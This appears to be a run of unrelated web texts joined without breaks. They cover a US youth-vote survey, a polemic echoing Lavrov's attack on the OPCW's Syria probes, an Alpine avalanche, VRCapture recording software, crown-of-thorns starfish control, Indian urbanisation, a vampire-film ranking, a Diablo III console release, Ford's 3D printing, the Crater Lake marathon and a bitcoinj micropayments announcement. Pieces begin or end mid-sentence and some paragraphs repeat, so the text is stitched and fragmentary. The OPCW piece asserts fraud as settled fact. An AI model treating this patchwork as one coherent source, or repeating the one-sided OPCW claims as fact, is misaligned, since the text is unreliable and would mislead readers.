That is a somewhat narrower margin than in 2008 (69% vs. 27%), but they were still far more likely than older voters to say that the government should do more to solve problems.
Young voters also were far more approving of the 2010 health care law: 53% said it should be expanded (34%) or left as it is (19%). That compares with 42% of 30 and older who favored retaining the health care law or expanding it.
On social issues, 64% of voters younger than 30 said abortion should be legal in all or most cases, compared with 58% of voters 30 and older. And they are far more likely than older voters to support allowing gay marriage. Fully 66% of young voters favored their states legally recognizing gay marriage, compared with 45% of voters 30 and older (and just 37% of those 65 and older).Lavrov blows the whistle on the OPCW and its 'investigations' in Syria
Russia's Foreign Minister Sergey Lavrov has a simple message for the Organization for the Prohibition of Chemical Weapons: Stop with the bullshit.
Speaking with journalists in Moscow on Monday, Lavrov pointed out that the OPCW has taken more than four months to 'analyze' chemical samples from Aleppo, which would likely implicate Syrian 'opposition' forces in war crimes. And surprise, surprise — the OPCW needs even more time before it can release a report.
Meanwhile, it took this prestigious organization only four days to declare that Sarin was used in the April 4 attack in Khan Sheikhun.
Lavrov is not amused:
Four months ago, together with our Syrian colleagues, we sent samples that we got from Aleppo, after it was liberated. We believe these samples are evidence of the fact that opposition armed groups used chemical weapons. Four months later — no results. And they say they need more time. But this other unit, that processes complaints about the Syrian regime, as we were told, released a statement several days after the Idlib incident. And that statement confirms the initial allegations, allegations by NGOs and the White Helmets, that it was Sarin. So in one case we have 4 months — nothing happens, no information is released. But in the other case the other unit issues that statement in just 4 days. But there’s no data — what laboratory was used, what were the samples like, where were they taken?
How can this be? Lavrov knows:
The mission should provide for geographical diversity. As I said, this mechanism is comprised of two units, one receives applications and complains from the Syrian government, and the other processes complaints about the Syrian government. And both of the units are chaired by UK citizens.
Lavrov then delivers the final blow:
Jokes aside, it’s an attempt to create a distorted perspective, and then to use this distorted reality to in an attempt to avoid an inclusive dialogue and switch to regime change operations. Another regime change operation in this region.
Okay, we lied. It probably took Lavrov 45 seconds to completely demolish this fraudulent organization and its benevolent 'investigations'.A huge avalanche came down in Randa (Switzerland) yesterday. Somebody had the change to film this huge avalanche on the road from Visp to Zermatt. Around 120-250 centimeter of freshies came down since last Friday, casuing huge spontaneous avalanches. Just like this huge avalanche that was triggered in Bessans. The only difference is that the avalanche in Bessans was triggered and did not came down spontaneously.
Test your knowledge about avalanches and snow safety for free!
The avalanche danger in the Alps is 'Considerale' (3 on a scale of 5) or 'High' (4 on a scale of 5) at the moment. More and more people venture off-piste, but not everybody has the right knowledge and the right gear. Already 15 people died because of avalanches this winter. Do you have the right knowledge to ride off-piste? Test it yourself and start with the first capital of the Mountain Academy for free! No knowledge? Stay on the marked slopes or hire a mountain guide!About This Software VRCapture is a totally free tool to create amazing VR videos. Perfect for professionals and beginners, who really want to pull out great quality videos from vitural world.
When you are playing VR games or running VR applications, you can record the full scene with VRCapture and create immersive videos for everyone.
The recorded video, which is immersive, can be played on your computer or through HMD.
Also, YouTube-share option is available. Your family and friends can experience what you have experienced in virtual world with Cardboard or other HMD. Key features Capture videos in head-mounted display
Record multi-channel audio
Play recorded video on HMD or PC
Share video to YouTube (cardboard view)
Compatible devices: HTC Vive, Oculus Rift CV1 and Oculus Rift DK2 How it works Make sure HMD is on and a VR application or game is launched
Click the Record button. It starts recording after the countdown hits zero(Shortcut key: Ctrl+F12)
Click Stop button to stop recording(Shortcut key: Ctrl+F12)
Double click to play the recorded video
Click the share button to upload the video to YouTube System Requirements NVidia GTX 970/ AMD R9 290 equivalent or higher
Intel i5-4590 or higher
Compatible with Windows 7 SP1 or higher
Compatible with 64 bit Windows
* Note: We have found that F-Secure and BitDefender have misdetection virus alarm of VRCapture. We are contacting them to remove the false alarm. VRCapture does not contain any virus or trojan. Before the alarm removed, please add this program to the whitelist.By Orion McCarthy
CORAL REEFS across the globe are under threat from a predator that looks less like a sea creature and more like an alien life form.
The crown of thorns starfish is a massive, prickly, and venomous inhabitant of the tropical waters surrounding coral reefs. Capable of growing up to a meter in diameter, they can move quite quickly (at least for a starfish) and have an insatiable appetite for coral.
A single crown of thorns starfish, or COTS for short, can eat up to 6 square meters of living coral each year. The starfish clamber on top of branching corals, contorting their body shape to cover as much coral surface area as possible. Then, they extrude their stomach and secrete digestive fluids, dissolving the thin layer of living coral tissue to leave behind a barren white coral skeleton.
Australia has been hit particularly hard by the ravenous starfish. Since 1985, the Great Barrier Reef has lost half of its coral cover, with COTS related damage accounting for 42% of the decrease. After cyclones and mass bleaching events, COTS outbreaks pose the greatest threat to coral reef ecosystems.
Stopping the spread of COTS has emerged as a top priority for coral reef managers and conservationists. Scientists are using every tool in their arsenal to subdue the relentless invertebrate, from high tech automated robots to everyday household products.
The Role of Starfish on the Reef
Surprisingly, a species capable of such destruction is actually a native, naturally occurring component of coral reef ecosystems.
At densities below 30 starfish per hectare, COTS play a vital roll in coral reef ecosystems. The starfish prefer to eat rapidly growing branching corals, pruning them back like an undersea gardener. This reef maintenance allows slower growing corals to thrive alongside their prolific neighbors, and increases the overall diversity of the reef.
Problems occur when COTS populations rise above manageable thresholds, and hordes of insatiable starfish prune coral faster than they can regenerate.
Sudden increases in COTS concentrations called outbreaks can exceed concentrations of 1000 starfish per hectare. On the Great Barrier Reef, outbreaks can last up to 15 years as the plague of starfish spread along the 2300 km length of the reef. Scientists discovered the first large starfish outbreak in 1962, and the latest COTS outbreak on the Great Barrier Reef commenced in 2010.
Starfish outbreaks on coral reefs occur when reef ecosystems fall out of balance. Normally, COTS populations are kept in check in two ways. Limited nutrients in the water column keep too many COTS larvae from reaching adulthood, and predation from certain large fish and snails keep adult COTS populations under control.
A large female starfish is capable of releasing 50 million eggs, but with limited nutrients available and lots of predators, only about 5 larvae will reach adulthood. But if added nutrients cause the survival rate to increase in just 0.1%, up to 50,000 coral-consuming starfish will reach adulthood.
For the starfish, human pressures have changed coral reef ecosystems for the better. Overharvesting predatory fish and snails as well as nutrient influxes from sewage and agricultural runoff create ideal conditions for COTS and leave their populations unchecked.
Stopping the Spread
While policy makers haggle over the best means of limiting agricultural runoff, scientists have been hard at work researching ways to disrupt the current starfish outbreak.
Researchers at the Queensland University of Technology have recently begun testing their very own starfish-killing contraption. Known as COTSbot, the fully automated robot is capable of detecting the prickly predator out in the field, relying on GPS navigation and an enormous database of starfish images taken by scientific divers to positively identify COTS. Once the robot encounters the starfish, it injects a complex serum of chemicals into the organism, euthanizing it over a period of 24 to 48 hours.
Thanks to a recent study from James Cook University, COTSbot’s complex serum of chemicals can be replaced with an ecologically harmless, permit free, easily obtained, and inexpensive alternative.
That chemical is dilute acetic acid, also known as vinegar.
By injecting each starfish with 25ml of household vinegar, researchers were able to kill 100% of their starfish test subjects within 48 hours. The acidity of the vinegar essentially disintegrates the starfish’s internal organs, dissolving them from the inside out.
Corals have shown promising signs of recovery on reefs where divers have euthanized COTS. But euthanizing starfish one by one with automated robots and cooking ingredients isn’t a permanent fix.
With an estimated starfish population of 1.5 million, injecting every COTS on the Great Barrier Reef is an outlandishly enormous task. However, the robot can function as a stopgap for saving individual reefs that make up the Great Barrier Reef. A single dive team can euthanize 1,000 starfish in a 45-minute dive, and COTSbot will be able to stay underwater far longer than a human diver once fully operational.
Still, the best chance for long-term success in controlling COTS populations is concrete action from government officials to control effluent pollution and water quality.
What YOU can do
Human development and agricultural runoff are responsible for water quality problems across the world. Apart from causing outbreaks of unwanted starfish, polluted waters can harbor disease and spawn algal blooms, which can cause toxic, oxygen-depleted dead zones to form.
Even if you don’t live near a coral reef, you can take action to protect the water quality of costal ecosystems near you.
Fertilize sparingly – We all want a luscious green lawn, but the fertilizers and pesticides used to keep grass green ultimately end up in the watershed after a rainstorm. If you must fertilize, do so sparingly to reduce nutrient runoff into local waterways. Better yet, opt for native plants that require less fertilizer.
– We all want a luscious green lawn, but the fertilizers and pesticides used to keep grass green ultimately end up in the watershed after a rainstorm. If you must fertilize, do so sparingly to reduce nutrient runoff into local waterways. Better yet, opt for native plants that require less fertilizer. Reduce runoff – In an urban environment, rainstorms can cause impressive quantities of storm water runoff, leading to flash flooding, erosion, and sediment plumes. Decrease runoff from your property by diverting downspouts into a rain garden to slow drainage, or by storing excess runoff in rain barrels. You can also limit runoff by constructing pathways with porous materials, such as brick or gravel, instead of solid pavement.
– In an urban environment, rainstorms can cause impressive quantities of storm water runoff, leading to flash flooding, erosion, and sediment plumes. Decrease runoff from your property by diverting downspouts into a to slow drainage, or by storing excess runoff in rain barrels. You can also limit runoff by constructing pathways with porous materials, such as brick or gravel, instead of solid pavement. Buy organic – Large-scale agriculture is by far the largest contributor to nutrient pollution in coastal waters. Encourage the responsible use of fertilizers and pesticides with your wallet by going organic.
LEARN MORESpeaking at the third BRICS Urbanisation Forum in Visakhapatnam on September 14, Deputy Chairman of the Niti Ayog, Arvind Panagariya, announced that “Without cities we can’t grow rapidly”. He added, “urbanisation plays an important role in poverty alleviation”. Both claims are exaggerated and somewhat misleading.
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A recent report prepared for the UN points out that, over the last two decades, India’s urban population increased from 217 million to 377 million, and this is expected to reach 600 million by 2031 — 40 per cent of the country’s population. The current pattern of urbanisation is largely taking place on the fringe of cities, much of it is unplanned and outside the purview of city codes and bylaws. It is already imposing high costs. The gap in urban infrastructure investment over the next 20 years is estimated at $827 billion; two-thirds of this is required for urban roads and traffic support. So the case for higher investment in urban development is compelling. The key question, however, is whether a substantial hike in urban infrastructure investment would imply a substantially lower increase in rural investment. It is difficult to offer a precise answer but something can be said about the growth and poverty effects of rural transformation relative to those of urban development.
A recent IMF study measured the impact of urbanisation on rural poverty in India using the NSS data over 1983-1984, 1993-1994 and 1999-2000. It distinguished between the location and the economic linkage effects. The former entails reduction in rural poverty due to the change in residence — from rural areas to cities. The latter focuses on the impact of growth of the urban population on the rural poverty rate. There are several channels through which urban population growth affects poverty in surrounding areas: Consumption linkages, rural non-agricultural employment, remittances, rural land/labour ratios, rural land prices and consumer prices.
Urbanisation has a significant poverty-reducing effect on the surrounding rural areas. Over the entire period in question, poverty reduced between 13 per cent and 25 per cent |
Fran Rubel Kuzui’s campy little vampire treat isn’t quite the “bogus corn” the title implies, but it’s no Heathers either. Unlike that other SoCal dark ride, Buffy won’t redefine the cynical teen comedy subgenre, even with Paul Reubens’s hilarious role as a blood-sucker on a “bad hair day” or Donald Sutherland as the deadpan slayer trainer. But someone had to follow Catwoman and Sharon Stone, and Buffy, played by Kristy Swanson, got the job. Cheerleader turned dewy feminist avenger, Buffy’s secret weapon against the undead is her PMS. Of course, she dreamed a different future — as Christian Slater’s sweetheart and a buyer. You know, like, ‘Buyer. Buying. To buy?’ to quote our heroine. But once convinced of her birthright as the latest in a long line of stake wielders, she pursues the Big One — I mean vampire pooh-bah Rutger Hauer — with a woman’s pragmatism.” — Marpeesa Dawn Outlaw
20th Century Fox/Photofest
11. Nosferatu the Vampyre (1979)
From our 1979 review: “Werner Herzog’s Nosferatue, the Vampyre presents in Klaus Kinski’s Count Dracula a reasonable replica of Max Schreck’s vampire in F.W. Murnau’s Nosferatu. There is no seductive courtliness in this powdery-white-skinned, sunken-black-eyed creature of the night, only an animalistic compulsion to feast on the blood of his victims. Whereas Frank Langella, George Hamilton, and even Bela Lugosi masqueraded as the last playboys of the central European world, Kinski’s Dracula rises from the mists of the psychic and social unconscious to bring pestilence, morbidity, and evil into a well-ordered bourgeois existence.” — J. Hoberman
Magnolia Pictures/Photofest
10. Let the Right One In (2008)
A fragile, anxious boy, 12-year-old Oskar is regularly bullied by his stronger classmates but never strikes back. The lonely boy’s wish for a friend seems to come true when he meets Eli, also 12, who moves in next door to him with her father. A pale, serious young girl, she only comes out at night and doesn’t seem affected by the freezing temperatures. Coinciding with Eli’s arrival is a series of inexplicable disappearances and murders. One man is found tied to a tree, another frozen in the lake, a woman bitten in the neck. Blood seems to be the common denominator — and for an introverted boy like Oskar, who is fascinated by gruesome stories, it doesn’t take long before he figures out that Eli is a vampire. But by now a subtle romance has blossomed between Oskar and Eli, and she gives him the strength to fight back against his aggressors. Oskar becomes increasingly aware of the tragic, inhuman dimension of Eli’s plight, but cannot bring himself to forsake her. Frozen forever in a 12-year-old’s body, with all the burgeoning feelings and confused emotions of a young adolescent, Eli knows that she can only continue to live if she keeps on moving. But when Oskar faces his darkest hour, Eli returns to defend him the only way she can.
Columbia Pictures/Photofest
9. Bram Stoker’s Dracula (1992)
From our 1992 review: “There’s more goo than boo in Bram Stoker’s Dracula. The new Francis Ford Coppola concoction is a blood-soaked plum pudding of a movie — saccharine, horrific, perhaps a little rummy. It’s sodden fun, until the vapors clear and the richness starts to cloy. ¶ Romantic and campy, full of pomp and ritual, this Dracula is deliriously maximal — the sort of film in which one stabs the cross on a stone altar and the whole church starts to hemorrhage gore, or where the shock-cut from a dispatched vampire, in her wedding gown, is a huge platter of rare roast beef. The images throughout are layered with voluptuous superimpositions and bizarre match dissolves. The screen ripples with experimental bits of business — just about any three-minute chunk could be dropped into heavy rotation on MTV.” — J. Hoberman
MGM/UA/Photofest
8. The Hunger (1983)
Something of an anomaly in the filmography of Tony Scott — who reached his creative stride later in his career, with such exemplary thrillers as Enemy of the State, Spy Game, and Deja Vu — The Hunger benefits from its wild stylistic energy (the opening montage is a stunner) and its ingenious casting, which pairs David Bowie with the great French actress Catherine Deneuve. — Danny King
IFC Films/Photofest
7. Byzantium (2012)
Neil Jordan’s Byzantium — its script by Irish-born playwright Moira Buffini — is more in league with Joss Whedon’s cerebral, passionate Buffy the Vampire Slayer series than with the fangless Twilight universe. Gemma Arterton and Saoirse Ronan play 200-year-old vamps on the lam, though neither looks a day over 28: The criminally curvy Clara (Arterton) rustles up a living for the two of them as a prostitute and sometime stripper. Her younger sister, the prim, sensitive Eleanor (Ronan), is a perennial schoolgirl and accomplished pianist. — Stephanie Zacharek
Overture Films/Photofest
6. Let Me In (2010)
The setting of Let Me In is Los Alamos, New Mexico, 1983. The feathery, slow-falling snow comes with the material’s Scandinavian pedigree: Swede John Ajvide Lindqvist’s novel, Let the Right One In, filmed by Tomas Alfredson in 2008, was enough of a boutique hit to attract this American remake by Cloverfield director Matt Reeves. — Nick Pinkerton
Lot 47 Films/Photofest
5. Trouble Every Day (2001)
As in many of Claire Denis’s movies, plot and narrative cohesion are subordinate to mood and texture, sight and sound. With the benefit of hindsight, we can now more clearly see how this initially castigated movie fits in with the tantamount themes that have dominated Denis’s work since Beau Travail, her breakthrough from 1999 (and Trouble Every Day‘s immediate predecessor): madness, desire, and power, motifs sometimes considered on their own, or, more frequently, in combination. — Melissa Anderson
October Films/Photofest
4. Nadja (1994)
From our 1995 review: “The lushest film of the year thus far is Michael Almereyda’s Nadja, a comic vampire tale, or portrait of the young as a lost tribe of bloodsuckers. Shot in shimmering, undulating black and white — part Fisher-Price Pixelvision, part silvery 35mm — Nadja follows the path of Dracula’s moody daughter, who, discontented with the routine, intends somehow to start over, be born again. ¶ Nadja (Elina Lowensohn) is a Romanian in New York, a predator looking for a human arm, or lap, to rest her faithless head on. Her heart isn’t in the nightly rite, this exchange of fluids that leaves the other lifeless. (Yes, this too is an AIDS movie.) When her father, Count Dracula Ceaucescu, dies, Nadja believes herself free to change her life. ‘I’ll find someone; I’ll be happy.’ In a bar she finds the melancholy Lucy (Galaxy Craze), and entertains her with stories of the Black Sea (‘It’s blue’), the Carpathians, and her lost twin, Edgar. Lucy: ‘Does he live in the shadow of the Carpathians?’ Nadja: ‘Brooklyn. I’ve never been there.’ But she does mean to go.” — Georgia Brown
Sony Pictures Classics/Photofest
3. Only Lovers Left Alive (2013)
In the world of Jim Jarmusch’s Only Lovers Left Alive, the director’s most emotionally direct film since Dead Man, and maybe his finest, period, vampires are people who prefer to own their music in some tangible form rather than entrust it to some unseen librarian in the Cloud. — Stephanie Zacharek
Warner Brothers/Photofest
2. Interview With the Vampire: The Vampire Chronicles (1994)
From our 1994 review: “Then the newly thin, blonde, tall, blue-eyed [Tom] Cruise isn’t the movie’s star but more of a supporting player to [Brad] Pitt’s depressive, rosy-lipped beauty. (Perhaps seeing Cruise effaced and professionally humbled is what changed [Interview With the Vampire author Anne Rice’s] mind about the film.) Both actors, with their blue networks of capillaries substituting for facial hair, grow an even whiter shade of pale once our story moves to Paris and Antonio Banderas and Stephen Rea inject the more robust, grown-up aura of Old World evil.” — Georgia Brown
Bill Paxton in Near Dark.
1. Near Dark (1987)
Kathryn Bigelow has made bigger movies but none better. Near Dark is a poetic horror film that draws its power from the outlaw mythology of Bonnie and Clyde and Gun Crazy (or maybe the Manson Family), and its brooding loneliness from the western landscape — home to the most successfully Americanized of the vampires. — J. HobermanOn September 3, evil will be reborn on console systems throughout the world with the release of Diablo® III on the PlayStation™ 3 and Xbox 360® games and entertainment system from Microsoft. That's right, Diablo III will be unleashing hell on both Xbox 360 and PS3™ before summer's end, so lock in your preorders with your local retailer soon.
As an added bonus, all preorders of the Xbox 360 and PS3™ versions of Diablo III will include the exclusive Infernal Helm (in-game item only...though we have to admit it'd look pretty sharp IRL). Wearable at level 1, the Infernal Helm confers a +EXP bonus to help you whip your new PlayStation™ or Xbox® characters into shape. Plus, it looks sweet as hell on all five mortal heroes of Sanctuary—be it the Witch Doctor, Barbarian, Wizard, Demon Hunter, or Monk. Keep in mind that the redeemable key for the Infernal Helm, which you will find in your preordered console copy of Diablo III on launch day, requires an Internet connection to be redeemed and cannot be transferred across platforms.
Be sure to get your preorder lined up for the PS3™ or Xbox 360 versions of the game and prepare your thumbs to do battle against the sinister forces of the Burning Hells.
Please note that as the Xbox 360 version of Diablo III was announced today, it may take retailers several days to set up their product pages for this new version of the game. Be sure to check back if you don’t see Diablo III for Xbox 360 listed on retailers' websites.Ford Motor Company is testing 3D printing of large-scale car parts using the Stratasys Infinite Build 3D printer
Ford, the first auto company to trial this technology with Stratasys, is exploring potential applications for future production vehicles, including Ford Performance products, as well as personalized car parts
Increasingly affordable and efficient, 3D-printing large automotive parts, like spoilers, could benefit Ford’s business and its customers; printed parts can be lighter in weight than traditionally manufactured parts, and may help improve fuel efficiency
DEARBORN, Mich., March 6, 2017 – Ford Motor Company is exploring how large-scale one-piece auto parts, like spoilers, could be printed for prototyping and future production vehicles, as the first automaker to pilot the Stratasys Infinite Build 3D printer.
Capable of printing automotive parts of practically any shape or length, the Stratasys Infinite Build system could be a breakthrough for vehicle manufacturing – providing a more efficient, affordable way to create tooling, prototype parts and components for low-volume vehicles such as Ford Performance products, as well as personalized car parts. The new 3D printer system is housed at Ford Research and Innovation Center in Dearborn.
“With Infinite Build technology, we can print large tools, fixtures and components, making us more nimble in design iterations,” said Ellen Lee, Ford technical leader, additive manufacturing research. “We’re excited to have early access to Stratasys’ new technology to help steer development of large-scale printing for automotive applications and requirements.”
An emerging technology for manufacturing
Wider adoption of 3D printing has been driven by recent technology advances, new areas of application and government support, according to Global Industry Analysts. By 2020, the global market for this emerging technology is expected to reach $9.6 billion, the organization reports. As 3D printing becomes increasingly efficient and affordable, companies are employing it for manufacturing applications in everything from aerospace to education to medicine.
3D printing could bring immense benefits for automotive production, including the ability to produce lighter-weight parts that could lead to greater fuel efficiency. A 3D-printed spoiler, for instance, may weigh less than half its cast metal counterpart.
The technology is more cost efficient for production of low-volume parts for prototypes and specialized race car components. Additionally, Ford could use 3D printing to make larger tooling and fixtures, along with personalized components.
How it works
With 3D printing, specifications for a part are transferred from the computer-aided design program to the printer’s computer, which analyzes the design. The device then goes to work, printing one layer of material at a time, then gradually stacking layers into a finished 3D object.
When the system detects the raw material or supply material canister is empty, a robotic arm automatically replaces it with a full canister. This allows the printer to operate unattended for hours – days, even.
Benefits of 3D printing
Using traditional methods to develop, say, a new intake manifold, an engineer would create a computer model of the part, then have to wait months for prototype tooling to be produced. With 3D printing technology, Ford can print the intake manifold in a couple of days, at a significant cost reduction.
3D printing is not yet fast enough for high-volume manufacturing, but it is more cost efficient for low-volume production. Additionally, minus the constraints of mass-production processes, 3D-printed parts can be designed to function more efficiently.On Saturday, Martin Balding will run his 35th consecutive marathon at Oregon's Crater Lake. Since his first race there in 1979, Balding each year has made the four-plus hour drive from his home near Susanville in northeast California to run one of the toughest marathons in the United States.
Why, at age 76, is he running it again? "Well, I had a lobotomy," he says, laughing.
Yet the truth is, Balding -- who has won the race three times, including in 1994 at the age of 57 -- has come to love the race for its difficulty, its spectacular views, the people who put it on, and the runners it attracts. It's a low-key race in a high-altitude setting, with entrants making long climbs or descents around the edge of a dormant volcano that holds the nation's deepest lake.
The course elevation varies from 5,980 to 7,850 feet above sea level, while August temperatures often reach the 80s or 90s. It's not a race recommended for anyone who might want to set a personal record.
"Oh no, absolutely not," says Rob Coffman, one of three race co-directors. "The winner is … Well, usually if somebody runs under three hours in the marathon, they've accomplished something. That's huge."
Last year's winning time was 2:54:04. In 2010, it was 3:12:12. The women's course record is 3:15:01, or nearly 39 minutes off the record for the Portland Marathon. The men's course record is 2:38.34, set by Bekele Tesfaye of Ethiopia in 1997. Three years earlier, Tesfaye had run a personal-best 2:12:24 at the London Marathon.
"This is the toughest marathon course I've run," Tesfaye told a reporter after winning at Crater Lake. "The altitude makes it hard to breathe. When it's hard to breathe, it makes it harder to control yourself."
Yet each year, runners such as Balding return, and first-timers come from across the nation and around the globe to run. It may be a beast, but it's also a beauty. The race is in a pristine national park setting, and runners catch views of the cobalt-blue water of the lake, pine-covered Wizard Island, the jagged rim of the caldera, and the peaks and valleys beyond the park.
Approximately 7,500 years after ancient Mount Mazama blew its top, what remains is gorgeous. Though the course has changed a bit and the field expanded since Bob Freirich put on the first marathon in 1976, the scenery remains the same, and it remains the race's biggest draw.
"After we had our first run, everybody got excited about it," recalls Freirich, of nearby Klamath Falls, whose 37-year tenure as race director ended in 2012. "Everybody was, 'What a beautiful run.' We had hills we had to climb, but you have this beautiful setting. The visual part of it, looking at Crater Lake, was awesome, and sometimes over 1,000 feet straight down."
And we decided, 'Well, let's keep it going."
Some people will argue that the Crater Lake marathon is the most beautiful in the country. Klamath Falls Herald and News
Over the years, the marathon -- one of four parts to the annual Crater Lake Rim Runs (with a 6.7-mile run, a 6.7-mile walk and a 13-mile run) -- has shown up on various lists of toughest or most-scenic marathons in the U.S. In 1998, Marathon & Beyond magazine ranked Crater Lake as the 21st-best marathon in the country because of its combination of scenery and difficulty.
One judge said it had "the most beautiful scenery of any marathon in North America." Said another: "It is one of the most beautiful areas in which a marathon is held. Period."
In its 2011 ranking of most scenic marathons in the world, Men's Fit Club, a website geared toward men's fitness, put Crater Lake in its top 10, calling it "more than a race; it is an experience of a lifetime."
In March, The Weather Channel -- which tapped into the opinions of several national running journalists and marathoners -- ranked Crater Lake No. 10 on its list of the world's 15 toughest marathons. Freirich, a high school cross country coach, didn't set out to start one of America's toughest races back in 1976.
At the time, he and his running club from Klamath Falls, the Linkville Lopers, decided to drive up to the lake and put on some runs (6.5, 13 and 26.2 miles) because they "thought it would be a good place to have a workout." Fewer than 40 runners participated in what Freirich calls "just a club thing."
The next year, 206 runners participated. By 1978, there were 457 runners. By 1981, it was up to 538 -- 38 more than what is now allowed for the annual rim runs. Marathon participation is usually at 100 or a little more, with sign-ups on a first-come, first-served basis.
It's not the highest-altitude marathon in the U.S. -- the Mount Lemmon Marathon in Arizona, the Pikes Peak Marathon in Colorado and the Madison Marathon in Montana, for instance, all surpass Crater Lake -- but its altitude and route rank it among the most challenging and make it attractive to certain runners. Runners from every state in the U.S., as well as Europe, Asia and Africa have made the trek to central Oregon to test themselves while also visiting one of the nation's most recognizable national parks.
"People come back," says Coffman, a high school cross country coach in Klamath Falls who, with his dad, Ken, and Marvin Dykstra, has taken over the race management from Freirich this year. "And it's not like you're going to break a PR or something like that, it's more for the experience of being at Crater Lake.
"A lot of the people that go to the rockin' race marathons or whatever they are in the big cities, if they like those, they would probably have a hard time. It's a lot of just old, real, back-to-nature stuff [here]. Not music or anything, the big party atmosphere."
Because the race numbers are limited and the route is mostly through areas without structures or spectators, runners often run alone. Coffman recalls that when he ran the marathon a few years ago with a friend, "we were out there, two or three miles at a time, without passing or really much seeing anybody." Its distance from big cities, its small field and its tough conditions mean you'll rarely see the world's best at Crater Lake.
"Most marathoners who are interested in running fast times, you don't go there," Freirich says. And if they did? "Your opponents would say, 'Oh, you had a crappy run, huh?' " he says, chuckling.
The marathon starts on the rim road at Watchman Peak, overlooking Wizard Island. While temperatures may reach the 90s later in the day, often the thermometer is only in the 30s for the early-morning start, when runners wear gloves, hats and fleece jackets that they peel off as the sun rises over the Cascades.
Runners head clockwise around more than half of the rim road (which is 36 miles) before heading down below the outside of the mountain to the finish at Lost Creek campground. Along those 26.2 miles, the topography offers some challenges:
• The race starts with a bit of an uphill grade, that is followed by about a mile or more downhill, says Freirich. "It looks great," he says. "And if you're not looking straight ahead of you, you don't see the fact that, oh my God, you've got about a mile and a half uphill, big time. That gets your attention."
• From about Mile 9 to Mile 15, the uphill grade is constant. "It's brutal," Coffman says.
• At about Mile 18 or 19, says Coffman, the route leaves the rim road and heads down toward the finish -- which may be the toughest part of the whole race. Balding refers to it as the "O. Henry finish," in homage to the American writer famous for his surprise endings. At 22 miles, runners can see the finish line, but are then directed up a dirt road, where they run 2 miles up a steep grade, then turn around. Balding laughs, saying it "adds character" to the race, but not everybody is laughing at that point.
Coffman says that when he and his buddy did the race, their goal was to finish under 4 hours, and as they passed Mile 22, they still had 42 minutes to spare.
"It was like, 'No problem,' we'll make it in 4 miles," Coffman recalls. But it took them about 22 minutes to get up the hill and about 18 to come down. That hill, he says, is "what kicked my butt." Coffman's time: 3:58.
That's 39 minutes slower than his marathon PR, set in Utah. Balding, who has run 65 marathons -- including five Bostons -- has a best of 2:53 at Crater Lake, seven minutes slower than his personal best, set in Nevada when he was in his 40s. The last time he broke three hours at Crater Lake was when he was 51.
"When I was finishing in less than three hours I was thinking, 'Boy, I'd hate to be on that course for four hours,' " he says. "Now it's going on five hours."
Last year, he finished in 4:43, but he was first in his age group. He also holds the age group records for over 50, 60, 70 and 75. He says his favorite part of the race now is crossing the finish line, but what really draws him is the discipline it requires. It makes him feel good to continue training and running. Plus, there's the beauty.
"If I wasn't so driven to finish as well as I could, I'd enjoy the view more," he says, laughing. "It sincerely is beautiful, especially when the weather is clear and cool and conditions are good. But we've had all conditions over 35 years. I haven't actually run in a snowstorm there, but I've started out when it was below freezing and have run while it was misting and raining, too."
This year will be the first time that Freirich won't be in charge of the rim runs. But, he's still going. He wouldn't miss it. He wants to see what's next. And, from almost any spot on the course, the view is something special. That's worth the drive by itself.
"Obviously, the lake sits there all the time," he says. "Sometimes you pull away from it a little bit, where [the route] cuts through the mountain you'll miss it, but either left or right, if you're not looking at the lake straight down you're looking over the mountain country, snowcapped mountains.
"It's a really beautiful run if you can stop to enjoy it a little bit."Mike Hearn
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LegendaryActivity: 1526Merit: 1007 [ANNOUNCE] Micro-payment channels implementation now in bitcoinj June 27, 2013, 01:03:54 PM
Last edit: June 27, 2013, 01:21:12 PM by Mike Hearn #1
Please see
https://code.google.com/p/bitcoinj/source/detail?r=4908c241f7161bc5facfb85b466feba2929f2567
or the documentation here:
https://code.google.com/p/bitcoinj/wiki/WorkingWithMicropayments
The documentation explains how the protocol works, the API design and takes you through the included example client/server apps line by line. As you can see it is very easy to use.
Matt did 90% of the work and deserves most of the credit, but I'd also like to give a shout out to Jeremy Spilman and of course Satoshi for their contributions to the design.
Now for some personal commentary. I'm excited by this work for a couple of reasons.
One is that I strongly believe that Bitcoin's short to medium term future lies in finding an advanced "killer app" rather than trying to compete head on with VISA or MasterCard. Whilst Bitcoin has many advantages over credit card payments, for most people the barriers to entry are high enough to keep them on their existing payment solutions. If we create a new market or application that is highly compelling and requires Bitcoin, then we give people a stronger incentive to acquire some. And once they've made the decision to get some coins for that killer app, why not get a little bit more than needed and also use it to buy other things later? To make a killer app we need things Bitcoin can do that other systems can't. Micropayments is an obvious example.
The second reason this work is important is that our community hasn't been making good use of the contracts features Satoshi left for us. Despite that many designs were documented years ago (by me on the Contracts page), there haven't really been any apps that use them. "Where are the contract apps?" is a question that came up a lot when I was in California for the conference. The cause seems to be that it's hard to understand how to turn the high level descriptions on the wiki into working code. The micropayment channels code in bitcoinj now gives us a worked example from beginning to end - you can read the theory, read the protocol description and then see it how to translate it into a real, working system that manages all the fiddly details. Now we have an complete demonstration of how to turn a contract design into reality, I hope we've cut a road through the jungle that others can follow.
If you're interested in building a contract app, please do consider building on bitcoinj and feel free to ask us any questions on the mailing list. We're happy to help. Matt Corallo and I have added support for micropayment channels to bitcoinj. Micropayment channels allow you to send, after an initial setup process, very tiny payments to a chosen third party in a trust-free manner without broadcasting all the payments onto the block chain. This lets you avoid the fees and anti-flooding protections that would otherwise cause problems. The cost is a single ECDSA signature on the client side, and a single verify on the server side.Please see the announcement, or the code here:or the documentation here:The documentation explains how the protocol works, the API design and takes you through the included example client/server apps line by line. As you can see it is very easy to use.Matt did 90% of the work and deserves most of the credit, but I'd also like to give a shout out to Jeremy Spilman and of course Satoshi for their contributions to the design.Now for some personal commentary. I'm excited by this work for a couple of reasons.One is that I strongly believe that Bitcoin's short to medium term future lies in finding an advanced "killer app" rather than trying to compete head on with VISA or MasterCard. Whilst Bitcoin has many advantages over credit card payments, for most people the barriers to entry are high enough to keep them on their existing payment solutions. If we create a new market or application that is highly compelling and requires Bitcoin, then we give people a stronger incentive to acquire some. And once they've made the decision to get some coins for that killer app, why not get a little bit more than needed and also use it to buy other things later? To make a killer app we need things Bitcoin can do that other systems can't. Micropayments is an obvious example.The second reason this work is important is that our community hasn't been making good use of the contracts features Satoshi left for us. Despite that many designs were documented years ago (by me on the Contracts page), there haven't really been any apps that use them. "Where are the contract apps?" is a question that came up a lot when I was in California for the conference. The cause seems to be that it's hard to understand how to turn the high level descriptions on the wiki into working code. The micropayment channels code in bitcoinj now gives us a worked example from beginning to end - you can read the theory, read the protocol description and then see it how to translate it into a real, working system that manages all the fiddly details. Now we have an complete 